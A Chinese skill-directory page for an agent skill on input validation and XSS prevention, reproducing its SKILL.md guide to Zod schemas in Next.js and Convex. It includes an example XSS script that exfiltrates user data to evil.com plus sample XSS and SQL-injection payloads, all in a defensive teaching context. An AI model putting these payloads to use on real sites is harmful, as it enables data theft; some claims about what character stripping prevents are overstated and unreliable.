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input-validation-xss-prevention输入验证 xss 预防

Agent Skill

input-validation-xss-prevention 用于处理 GitHub 仓库、Issue、Pull Request 和代码协作信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要围绕仓库状态、代码变更或协作事项进行整理时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

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CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:input-validation-xss-prevention(输入验证 xss 预防)
来源仓库:https://github.com/harperaa/secure-claude-skills
仓库路径:skills/input-validation-xss-prevention
安装命令:
npx skills add https://github.com/harperaa/secure-claude-skills --skill input-validation-xss-prevention
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/harperaa/secure-claude-skills --skill input-validation-xss-prevention

简介

input-validation-xss-prevention 用于处理 GitHub 仓库、Issue、Pull Request 和代码协作信息。

  • 适合在 Codex、Claude、Cursor、Gemini CLI 中围绕仓库状态、代码变更或协作事项进行整理。
  • 通过 npx skills add 命令从指定仓库安装并使用该技能。
  • 安装前需确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写操作。
  • 适用宿主包括 Codex、Claude、Cursor、Gemini CLI,接入前应确认版本、权限和运行环境要求。

SKILL.md

Input Validation & XSS Prevention

The Universal Truth of Web Security

Never trust user input. This is the foundational principle of web security.

Every major breach can be traced back to input validation failures:

  • SQL Injection - Equifax (147 million records)
  • XSS - British Airways (380,000 transactions, £20M fine)
  • Command Injection - Countless others

According to OWASP, injection vulnerabilities are consistently the #1 or #2 threat to web applications. Input validation is not optional—it's existential.

Understanding XSS (Cross-Site Scripting)

The Attack

Attacker enters in a bio field:

<script>
fetch('/api/user')
  .then(r=>r.json())
  .then(d=>fetch('https://evil.com',{
    method:'POST',
    body:JSON.stringify(d)
  }))
</script>

Without sanitization, when other users view this profile:

  1. The script executes in their browsers
  2. It steals their user data
  3. Sends it to attacker's server
  4. Victims never know they were compromised

Real-World XSS Consequences

British Airways (2018): XSS vulnerability allowed attackers to inject payment card harvesting script. 380,000 transactions compromised. £20 million fine under GDPR.

MySpace Samy Worm (2005): XSS vulnerability allowed a self-propagating script that added the attacker as a friend to over 1 million profiles in 20 hours. While mostly harmless (just adding friends), it demonstrated the potential: the same technique could have stolen credentials or payment data.

Our Input Validation Architecture

Why Zod?

Traditional validation uses regular expressions and manual checks—error-prone and often incomplete.

Zod provides:

  • Type-safe validation - TypeScript knows what's valid
  • Composable schemas - Reuse validation logic
  • Automatic transformation - Sanitization built-in
  • Clear error messages - Helps users fix mistakes
  • Runtime type checking - Catches issues in production

The Sanitization Strategy

We remove dangerous characters that enable XSS attacks:

  • < - Prevents opening tags
  • > - Prevents closing tags
  • " - Prevents attribute injection
  • & - Prevents HTML entity injection

Preserved:

  • ' - Apostrophes (for names like O'Neal, D'Angelo, McDonald's)

Why not remove all special characters? Because then users named "O'Neal" can't enter their names. Security must balance safety with usability.

Industry Validation Approach

According to OWASP and NIST guidelines, the secure approach is:

  1. Validate (check format/type)
  2. Sanitize (remove dangerous content)
  3. Encode on output (escape when displaying)

We do all three:

  • Zod validates format
  • .transform() sanitizes
  • React escapes output

Implementation Files

  • lib/validation.ts - 11 pre-built Zod schemas
  • lib/validateRequest.ts - Validation helper that formats errors

How to Use Input Validation

Basic Pattern

import { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema } from '@/lib/validation';

async function handler(request: NextRequest) {
  const body = await request.json();

  // Validate and sanitize
  const validation = validateRequest(safeTextSchema, body);

  if (!validation.success) {
    return validation.response; // Returns 400 with field errors
  }

  // TypeScript knows exact shape, data is XSS-sanitized
  const sanitizedData = validation.data;

  // Safe to use
}

Complete Secure API Route

// app/api/create-post/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withRateLimit } from '@/lib/withRateLimit';
import { withCsrf } from '@/lib/withCsrf';
import { validateRequest } from '@/lib/validateRequest';
import { createPostSchema } from '@/lib/validation';
import { handleApiError, handleUnauthorizedError } from '@/lib/errorHandler';
import { auth } from '@clerk/nextjs/server';

async function createPostHandler(request: NextRequest) {
  try {
    // Authentication
    const { userId } = await auth();
    if (!userId) return handleUnauthorizedError();

    const body = await request.json();

    // Validation & Sanitization
    const validation = validateRequest(createPostSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { title, content, tags } = validation.data;

    // Data is now:
    // - Type-safe (TypeScript validated)
    // - Sanitized (XSS characters removed)
    // - Validated (length, format checked)

    // Safe to store in database
    await db.posts.insert({
      title,
      content,
      tags,
      userId,
      createdAt: Date.now()
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'create-post');
  }
}

export const POST = withRateLimit(withCsrf(createPostHandler));

export const config = {
  runtime: 'nodejs',
};

Available Validation Schemas

All schemas are in lib/validation.ts:

1. emailSchema

Use for: Email addresses

import { emailSchema } from '@/lib/validation';

const validation = validateRequest(emailSchema, userEmail);
if (!validation.success) return validation.response;

const email = validation.data; // Normalized, lowercase

Features:

  • Valid email format required
  • Normalized to lowercase
  • Max 254 characters
  • Trims whitespace

2. safeTextSchema

Use for: Short text fields (names, titles, subjects)

import { safeTextSchema } from '@/lib/validation';

const validation = validateRequest(safeTextSchema, inputText);

Features:

  • Min 1, max 100 characters
  • Removes: < > " &
  • Preserves: ' (apostrophes)
  • Trims whitespace

3. safeLongTextSchema

Use for: Long text (descriptions, bios, comments, messages)

import { safeLongTextSchema } from '@/lib/validation';

const validation = validateRequest(safeLongTextSchema, description);

Features:

  • Min 1, max 5000 characters
  • Same sanitization as safeTextSchema
  • Suitable for textarea content

4. usernameSchema

Use for: Usernames, slugs, identifiers

import { usernameSchema } from '@/lib/validation';

const validation = validateRequest(usernameSchema, username);

Features:

  • Alphanumeric + underscores + hyphens only
  • Min 3, max 30 characters
  • Lowercase only
  • No spaces or special characters

5. urlSchema

Use for: Website URLs, link fields

import { urlSchema } from '@/lib/validation';

const validation = validateRequest(urlSchema, websiteUrl);

Features:

  • Must be valid URL
  • HTTPS only (security requirement)
  • Max 2048 characters
  • Validates protocol, domain

6. contactFormSchema

Use for: Complete contact forms

import { contactFormSchema } from '@/lib/validation';

const validation = validateRequest(contactFormSchema, formData);
if (!validation.success) return validation.response;

const { name, email, subject, message } = validation.data;

Fields:

{
  name: string,      // safeTextSchema (1-100 chars)
  email: string,     // emailSchema
  subject: string,   // safeTextSchema (1-100 chars)
  message: string    // safeLongTextSchema (1-5000 chars)
}

7. createPostSchema

Use for: User-generated blog posts, articles

import { createPostSchema } from '@/lib/validation';

const validation = validateRequest(createPostSchema, postData);
if (!validation.success) return validation.response;

const { title, content, tags } = validation.data;

Fields:

{
  title: string,           // safeTextSchema (1-100 chars)
  content: string,         // safeLongTextSchema (1-5000 chars)
  tags: string[] | null    // Array of safeText strings (optional)
}

8. updateProfileSchema

Use for: Profile updates

import { updateProfileSchema } from '@/lib/validation';

const validation = validateRequest(updateProfileSchema, profileData);
if (!validation.success) return validation.response;

const { displayName, bio, website } = validation.data;

Fields:

{
  displayName: string | null,  // safeTextSchema (optional)
  bio: string | null,          // safeLongTextSchema (optional)
  website: string | null       // urlSchema (optional, HTTPS only)
}

9. idSchema

Use for: Database IDs, reference fields

import { idSchema } from '@/lib/validation';

const validation = validateRequest(idSchema, itemId);

Features:

  • Non-empty string
  • Trims whitespace
  • Use for validating ID parameters

10. positiveIntegerSchema

Use for: Counts, quantities, pagination

import { positiveIntegerSchema } from '@/lib/validation';

const validation = validateRequest(positiveIntegerSchema, quantity);

Features:

  • Integer only
  • Must be positive (> 0)
  • No decimals

11. paginationSchema

Use for: Pagination parameters

import { paginationSchema } from '@/lib/validation';

const validation = validateRequest(paginationSchema, {
  page: queryParams.page,
  limit: queryParams.limit
});

const { page, limit } = validation.data;

Fields:

{
  page: number,   // Default: 1, Min: 1
  limit: number   // Default: 10, Min: 1, Max: 100
}

Creating Custom Schemas

Custom Schema Template

// lib/validation.ts

import { z } from 'zod';

// Add your custom schema
export const myCustomSchema = z.object({
  field: z.string()
    .min(1, 'Required')
    .max(200, 'Too long')
    .trim()
    .transform((val) => val.replace(/[<>"&]/g, '')), // XSS sanitization
});

export type MyCustomData = z.infer<typeof myCustomSchema>;

Complex Schema Example

// Registration form with multiple validations
export const registrationSchema = z.object({
  username: usernameSchema,
  email: emailSchema,
  password: z.string()
    .min(12, 'Password must be at least 12 characters')
    .regex(/[A-Z]/, 'Must contain uppercase letter')
    .regex(/[a-z]/, 'Must contain lowercase letter')
    .regex(/[0-9]/, 'Must contain number')
    .regex(/[^A-Za-z0-9]/, 'Must contain special character'),
  passwordConfirm: z.string(),
  agreeToTerms: z.boolean().refine(val => val === true, {
    message: 'You must agree to terms'
  })
}).refine((data) => data.password === data.passwordConfirm, {
  message: "Passwords don't match",
  path: ["passwordConfirm"]
});

Conditional Validation

export const orderSchema = z.object({
  orderType: z.enum(['pickup', 'delivery']),
  address: z.string().optional(),
  phone: z.string().optional()
}).refine(
  (data) => {
    if (data.orderType === 'delivery') {
      return !!data.address && !!data.phone;
    }
    return true;
  },
  {
    message: 'Address and phone required for delivery',
    path: ['address']
  }
);

Frontend Validation

Client-Side Pre-validation

'use client';

import { useState } from 'react';
import { createPostSchema } from '@/lib/validation';

export function CreatePostForm() {
  const [errors, setErrors] = useState<Record<string, string>>({});

  async function handleSubmit(e: React.FormEvent<HTMLFormElement>) {
    e.preventDefault();
    setErrors({});

    const formData = new FormData(e.currentTarget);
    const data = {
      title: formData.get('title'),
      content: formData.get('content'),
      tags: formData.get('tags')?.toString().split(',').filter(Boolean) || null
    };

    // Client-side validation (UX improvement, not security)
    const validation = createPostSchema.safeParse(data);

    if (!validation.success) {
      const fieldErrors: Record<string, string> = {};
      validation.error.errors.forEach((err) => {
        if (err.path[0]) {
          fieldErrors[err.path[0].toString()] = err.message;
        }
      });
      setErrors(fieldErrors);
      return;
    }

    // Submit to server (server validates again!)
    try {
      const response = await fetch('/api/posts', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(validation.data)
      });

      if (response.ok) {
        alert('Post created!');
      }
    } catch (error) {
      console.error('Error:', error);
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <div>
        <input name="title" placeholder="Title" />
        {errors.title && <span className="error">{errors.title}</span>}
      </div>

      <div>
        <textarea name="content" placeholder="Content" />
        {errors.content && <span className="error">{errors.content}</span>}
      </div>

      <div>
        <input name="tags" placeholder="Tags (comma separated)" />
        {errors.tags && <span className="error">{errors.tags}</span>}
      </div>

      <button type="submit">Create Post</button>
    </form>
  );
}

Important: Client-side validation is for UX only. Always validate on the server - client-side validation can be bypassed.

Attack Scenarios & Protection

Attack 1: XSS via Comment

Attack:

POST /api/comment
{
  "content": "<script>alert(document.cookie)</script>"
}

Protection:

const validation = validateRequest(safeLongTextSchema, body);
// Result: content = "alert(document.cookie)"
// < and > removed, script harmless

Attack 2: SQL Injection Attempt

Attack:

POST /api/search
{
  "query": "'; DROP TABLE users; --"
}

Protection:

const validation = validateRequest(safeTextSchema, body);
// Result: query = "'; DROP TABLE users; --"
// Still contains SQL, but parameterized queries prevent execution
// Additionally, input length limited, special chars sanitized

Note: Use parameterized queries in database layer for full SQL injection protection.

Attack 3: Buffer Overflow via Long Input

Attack:

POST /api/profile
{
  "bio": "A".repeat(1000000) // 1 million characters
}

Protection:

const validation = validateRequest(updateProfileSchema, body);
// Result: Validation fails
// Error: "Bio must be at most 5000 characters"
// HTTP 400 returned before processing

Attack 4: Script Injection in Multiple Fields

Attack:

POST /api/contact
{
  "name": "<script>evil()</script>",
  "email": "attacker@evil.com",
  "subject": "<img src=x onerror=alert(1)>",
  "message": "Normal message"
}

Protection:

const validation = validateRequest(contactFormSchema, body);
// Results:
// name: "evil()"
// email: "attacker@evil.com"
// subject: ""
// message: "Normal message"
// All dangerous tags removed automatically

Testing Input Validation

Test XSS Sanitization

# Test XSS in title
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: <get-from-/api/csrf>" \
  -d '{"title": "<script>alert(1)</script>"}'

# Expected: 200 OK, but title = "alert(1)"

Test Validation Errors

# Test too-long input
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: <get-from-/api/csrf>" \
  -d "{\"title\": \"$(printf 'A%.0s' {1..200})\"}"

# Expected: 400 Bad Request
# {
#   "error": "Validation failed",
#   "details": {
#     "title": "String must contain at most 100 character(s)"
#   }
# }

Test Email Validation

# Test invalid email
curl -X POST http://localhost:3000/api/contact \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Test",
    "email": "not-an-email",
    "subject": "Test",
    "message": "Test"
  }'

# Expected: 400 Bad Request
# { "error": "Validation failed", "details": { "email": "Invalid email" } }

Error Response Format

When validation fails, validateRequest() returns:

{
  error: "Validation failed",
  details: {
    fieldName: "Error message",
    anotherField: "Another error"
  }
}

HTTP Status: 400 Bad Request

Common Validation Patterns

Pattern 1: Optional Fields

const schema = z.object({
  required: safeTextSchema,
  optional: safeTextSchema.optional(),
  nullable: safeTextSchema.nullable(),
  optionalWithDefault: safeTextSchema.default('default value')
});

Pattern 2: Array Validation

const schema = z.object({
  tags: z.array(safeTextSchema).max(10, 'Maximum 10 tags'),
  categories: z.array(z.string()).min(1, 'At least one category required')
});

Pattern 3: Enum Values

const schema = z.object({
  status: z.enum(['draft', 'published', 'archived']),
  priority: z.enum(['low', 'medium', 'high'])
});

Pattern 4: Number Ranges

const schema = z.object({
  age: z.number().int().min(18).max(120),
  rating: z.number().min(1).max(5),
  price: z.number().positive()
});

Pattern 5: Date Validation

const schema = z.object({
  birthdate: z.string().datetime(),
  appointmentDate: z.string().datetime()
    .refine((date) => new Date(date) > new Date(), {
      message: 'Appointment must be in the future'
    })
});

Convex Integration

When using Convex, always validate inputs in mutations - never insert args directly into the database.

Basic Convex Validation Pattern

// convex/posts.ts
import { mutation } from "./_generated/server";
import { createPostSchema } from "../lib/validation";

export const createPost = mutation({
  handler: async (ctx, args) => {
    // Validate with Zod
    const validation = createPostSchema.safeParse(args);

    if (!validation.success) {
      throw new Error("Invalid input: " + validation.error.message);
    }

    // Use sanitized data
    const { title, content, tags } = validation.data;

    await ctx.db.insert("posts", {
      title,
      content,
      tags,
      userId: ctx.auth.userId,
      createdAt: Date.now()
    });
  }
});

Multiple Field Validation in Convex

// convex/items.ts
import { mutation } from "./_generated/server";
import { safeTextSchema, safeLongTextSchema } from "../lib/validation";

export const createItem = mutation({
  handler: async (ctx, args) => {
    // Validate each field with appropriate schema
    const titleValidation = safeTextSchema.safeParse(args.title);
    const descValidation = safeLongTextSchema.safeParse(args.description);

    if (!titleValidation.success || !descValidation.success) {
      throw new Error("Invalid input");
    }

    // Use sanitized data
    await ctx.db.insert("items", {
      title: titleValidation.data,
      description: descValidation.data,
      userId: ctx.auth.userId,  // From Clerk authentication
      createdAt: Date.now()
    });
  }
});

Anti-Pattern: Direct Args Insertion (NEVER DO THIS)

// ❌ BAD - Direct insertion without validation
export const createItem = mutation({
  handler: async (ctx, args) => {
    // VULNERABLE: args inserted directly without validation
    await ctx.db.insert("items", args);
  }
});

// ✅ GOOD - Validated and sanitized
export const createItem = mutation({
  handler: async (ctx, args) => {
    const validation = createItemSchema.safeParse(args);
    if (!validation.success) {
      throw new Error("Invalid input");
    }

    await ctx.db.insert("items", {
      title: validation.data.title,
      description: validation.data.description,
      userId: ctx.auth.userId,
      createdAt: Date.now()
    });
  }
});

Why Convex Validation is Critical

  1. Frontend validation can be bypassed - Attackers can call Convex mutations directly
  2. Convex functions are your API - Treat them like API routes with full validation
  3. Type-safety alone isn't enough - TypeScript types don't prevent XSS or validate lengths
  4. Defense-in-depth - Even if Next.js API validates, Convex should validate too

What Input Validation Prevents

Cross-site scripting (XSS) - Main protection ✅ SQL/NoSQL injection - Length limits + sanitization ✅ Command injection - Removes dangerous characters ✅ Template injection - Sanitizes template syntax ✅ Path traversal - Validates paths, removes../ ✅ Buffer overflow - Enforces length limits ✅ Type confusion - Enforces correct data types ✅ Business logic errors - Validates ranges, formats

Common Mistakes to Avoid

DON'T skip validation "because it's an internal API"DON'T rely on client-side validation onlyDON'T use body.field directly without validationDON'T manually sanitize with .replace() - use ZodDON'T assume authentication = safe inputDON'T forget to validate in Convex mutations

DO validate ALL user input, even from authenticated usersDO use pre-built schemas from lib/validation.tsDO return detailed validation errors (helps UX)DO combine validation with rate limiting and CSRFDO validate in both API routes AND Convex mutations

References

Next Steps

  • For CSRF protection: Use csrf-protection skill
  • For rate limiting: Use rate-limiting skill
  • For secure error handling: Use error-handling skill
  • For testing validation: Use security-testing skill

适合场景

01

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02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

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能力 2

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能力 3

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能力 4

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安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

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通过

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通过

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通过

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